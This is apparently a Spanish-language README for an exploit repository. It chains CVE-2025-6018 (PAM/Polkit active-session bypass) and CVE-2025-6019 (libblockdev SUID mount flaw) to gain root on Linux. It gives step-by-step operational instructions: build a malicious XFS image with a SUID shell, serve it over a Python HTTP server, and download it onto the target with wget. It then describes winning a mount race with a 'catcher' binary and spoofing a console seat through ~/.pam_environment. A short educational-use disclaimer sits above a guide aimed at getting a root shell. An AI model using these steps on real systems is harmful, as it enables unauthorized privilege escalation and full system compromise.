
Una Prueba de Concepto para el encadenamiento de CVE-2025-6018 (Bypass de Sesión Activa en PAM/Polkit) y CVE-2025-6019 (Fallo de Montaje SUID en libblockdev) para lograr Escalada Local de Privilegios (LPE) en sistemas Linux vulnerables.
Un robusto Proof of Concept (PoC) para encadenar CVE-2025-6018 (bypass de sesión activa de PAM/Polkit) y CVE-2025-6019 (fallo de montaje SUID en libblockdev) para lograr acceso root en sistemas Linux vulnerables.
Esta herramienta es solo para fines educativos e investigación de seguridad autorizada. No la use en sistemas que no posea o para los que no tenga permiso explícito para probar.
Este exploit encadena dos fallos lógicos para escalar privilegios de un usuario estándar a root:
Active=yes. Esto engaña al sistema haciéndole creer que el usuario remoto está físicamente presente en la consola, omitiendo los requisitos de contraseña para herramientas de gestión de hardware como udisks2.libblockdev (usada por udisks2) no aplica el indicador de seguridad nosuid al montar temporalmente un sistema de archivos para operaciones de mantenimiento (como Check o Resize).Active=yes para montar esta imagen como un dispositivo de bucle sin contraseña.Filesystem.Check. Esto obliga a udisks2 a montar temporalmente la imagen para verificarla. Crucialmente, este montaje temporal carece de nosuid./proc/mounts en tiempo real. En el momento en que aparece el montaje temporal, ejecuta el payload SUID antes de que el sistema lo desmonte.Dado que la máquina objetivo a menudo carece de herramientas como mkfs.xfs o gcc, generamos el payload localmente.
Ejecute el script de compilación en Kali/Parrot:
./build_poc.sh
exploit.img (imagen XFS de 400MB con shell SUID).catcher (El ganador de la condición de carrera).Sube los archivos al objetivo: Inicia un servidor Python:
python3 -m http.server 80
En la máquina objetivo (por ejemplo, en /tmp):
wget http://<YOUR_IP>/exploit.img
wget http://<YOUR_IP>/catcher
chmod +x catcher
Descargue el script de exploit:
Guarde el contenido de exploit.sh de este repositorio en la máquina objetivo.
Ejecute el exploit:
chmod +x exploit.sh
./exploit.sh
Disfrute de Root: El script configurará automáticamente el dispositivo de bucle, iniciará el catcher en segundo plano y disparará la vulnerabilidad. Debería obtener un shell root de inmediato.
Si el script solicita una contraseña, su sesión SSH no está activa. Solución:
~/.pam_environment:
echo "XDG_SEAT=seat0" > ~/.pam_environment
echo "XDG_VTNR=1" >> ~/.pam_environment
loginctl show-session $XDG_SESSION_ID | grep Active. Debe decir Active=yes.La ventana vulnerable tiene solo milisegundos de ancho.
build_poc.sh), no un bucle Bash.Filesystem.Check, que es más confiable que Resize.build_poc.sh (Lado del Atacante)Automatiza la creación de la imagen maliciosa y compila los binarios estáticos.
exploit.sh (Lado del Objetivo)El orquestador. Se encarga de:
catcher en segundo plano.udisksctl.Filesystem.Check.